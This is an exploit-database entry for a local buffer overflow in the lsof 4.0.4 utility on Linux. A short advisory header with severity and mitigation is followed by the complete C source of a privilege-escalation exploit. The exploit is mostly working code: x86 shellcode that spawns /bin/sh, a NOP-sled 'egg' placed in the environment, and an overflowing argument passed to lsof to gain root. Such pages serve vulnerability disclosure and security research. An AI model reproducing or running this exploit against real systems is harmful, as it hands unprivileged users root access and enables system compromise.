Buffer Overflow in Lsof Utility

vendor:

Lsof

by:

Zhodiac

7.5

CVSS

HIGH

Buffer Overflow

121

CWE

Product Name: Lsof

Affected Version From: Lsof 4.0.4

Affected Version To: Lsof 4.0.4

Patch Exists: NO

Related CWE:

CPE:

Metasploit:

Other Scripts:

Platforms Tested: Linux

Buffer Overflow in Lsof Utility

This is a buffer overflow exploit in the Lsof utility. When the utility is run with root privileges, it is vulnerable to a buffer overflow that can allow regular users to gain root privileges.

Mitigation:

Update Lsof to a version that has fixed the buffer overflow vulnerability.

Source

Exploit-DB raw data:

// source: https://www.securityfocus.com/bid/496/info
 
Lsof is an open file management utility included with many linux distributions. When run setuid root or setgid kmem, it is subject to a buffer overflow that can lead to regular users gaining root priveleges.

/* http://www.hackersnetwork.net! */

/*
 *  Xploit for lsof 4.0.4 by Zhodiac <zhodiac@usa.net>
 *  Based on Aleph's article in phrack49
 */

#include <stdlib.h>

#define DEFAULT_OFFSET                   0
#define DEFAULT_BUFFER_SIZE             32
#define DEFAULT_EGG_SIZE               2048
#define NOP                            0x90

char shellcode[] =
  "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
  "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
  "\x80\xe8\xdc\xff\xff\xff/bin/sh";

unsigned long get_esp(void) {
   __asm__("movl %esp,%eax");
}

void main(int argc, char *argv[]) {
  char *buff, *ptr, *egg;
  long *addr_ptr, addr;
  int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
  int i, eggsize=DEFAULT_EGG_SIZE;
  char comando[512];

  if (argc > 1) bsize   = atoi(argv[1]);
  if (argc > 2) offset  = atoi(argv[2]);
  if (argc > 3) eggsize = atoi(argv[3]);

  printf("\nXploit for lsof 4.04 by zhodiac <zhodiac@usa.net>\n\n");

  if (!(buff = malloc(bsize))) {
    printf("Can't allocate memory.\n");
    exit(0);
  }
  if (!(egg = malloc(eggsize))) {
    printf("Can't allocate memory.\n");
    exit(0);
  }

  addr = get_esp() - offset;
  printf("Using address: 0x%x\n", addr);

  ptr = buff;
  addr_ptr = (long *) ptr;
  for (i = 0; i < bsize; i+=4)
    *(addr_ptr++) = addr;

  ptr = egg;
  for (i = 0; i < eggsize - strlen(shellcode) - 1; i++)
    *(ptr++) = NOP;

  for (i = 0; i < strlen(shellcode); i++)
    *(ptr++) = shellcode[i];

  buff[bsize - 1] = '\0';
  egg[eggsize - 1] = '\0';

  memcpy(egg,"EGG=",4);
  putenv(egg);
  snprintf(comando,511,"lsof -u %s",buff);
  system(comando);
}